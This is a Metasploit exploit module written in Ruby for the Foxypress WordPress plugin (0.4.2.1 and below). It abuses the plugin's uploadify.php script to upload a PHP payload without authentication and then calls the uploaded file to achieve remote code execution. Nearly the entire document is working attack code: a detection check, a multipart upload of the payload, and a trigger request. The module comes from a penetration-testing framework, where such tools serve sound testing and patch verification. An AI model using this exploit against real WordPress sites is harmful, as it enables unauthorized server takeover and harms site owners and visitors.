WordPress plugin Foxypress uploadify.php Arbitrary Code Execution

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'WordPress plugin Foxypress uploadify.php Arbitrary Code Execution',
   'Description'    => %q{
     This module exploits an arbitrary PHP code execution flaw in the WordPress
    blogging software plugin known as Foxypress. The vulnerability allows for arbitrary
    file upload and remote code execution via the uploadify.php script. The Foxypress
    plug-in versions 0.4.2.1 and below are vulnerable.
   },
   'Author'         =>
    [
     'Sammy FORGIT', # Vulnerability Discovery, PoC
     'patrick' # Metasploit module
    ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision$',
   'References'     =>
    [
     ['EDB', '18991'],
     ['OSVDB', '82652'],
     ['BID', '53805'],
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'Compat'      =>
      {
       'ConnectionType' => 'find',
      },
    },
   'Platform'       => 'php',
   'Arch'           => ARCH_PHP,
   'Targets'        => [[ 'Automatic', { }]],
   'DisclosureDate' => 'Jun 05 2012',
   'DefaultTarget' => 0))

  register_options(
   [
    OptString.new('TARGETURI', [true, "The full URI path to WordPress", "/"]),
   ], self.class)
 end

 def check
  uri = target_uri.path
  uri << '/' if uri[-1,1] != '/'

  res = send_request_cgi({
   'method' => 'GET',
   'uri'    => "#{uri}wp-content/plugins/foxypress/uploadify/uploadify.php"
  })

  if res and res.code == 200
   return Exploit::CheckCode::Detected
  else
   return Exploit::CheckCode::Safe
  end
 end

 def exploit

  uri = target_uri.path
  uri << '/' if uri[-1,1] != '/'

  peer = "#{rhost}:#{rport}"

  post_data = Rex::MIME::Message.new
  post_data.add_part("<?php #{payload.encoded} ?>", "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{rand_text_alphanumeric(6)}.php\"")

  print_status("#{peer} - Sending PHP payload")

  res = send_request_cgi({
   'method' => 'POST',
   'uri'    => "#{uri}wp-content/plugins/foxypress/uploadify/uploadify.php",
   'ctype'  => 'multipart/form-data; boundary=' + post_data.bound,
   'data'   => post_data.to_s
  })

  if not res or res.code != 200 or res.body !~ /\{\"raw_file_name\"\:\"(\w+)\"\,/
   print_error("#{peer} - File wasn't uploaded, aborting!")
   return
  end

  print_good("#{peer} - Our payload is at: #{$1}.php! Calling payload...")
  res = send_request_cgi({
   'method' => 'GET',
   'uri'    => "#{uri}wp-content/affiliate_images/#{$1}.php"
  })

  if res and res.code != 200
   print_error("#{peer} - Server returned #{res.code.to_s}")
  end

 end

end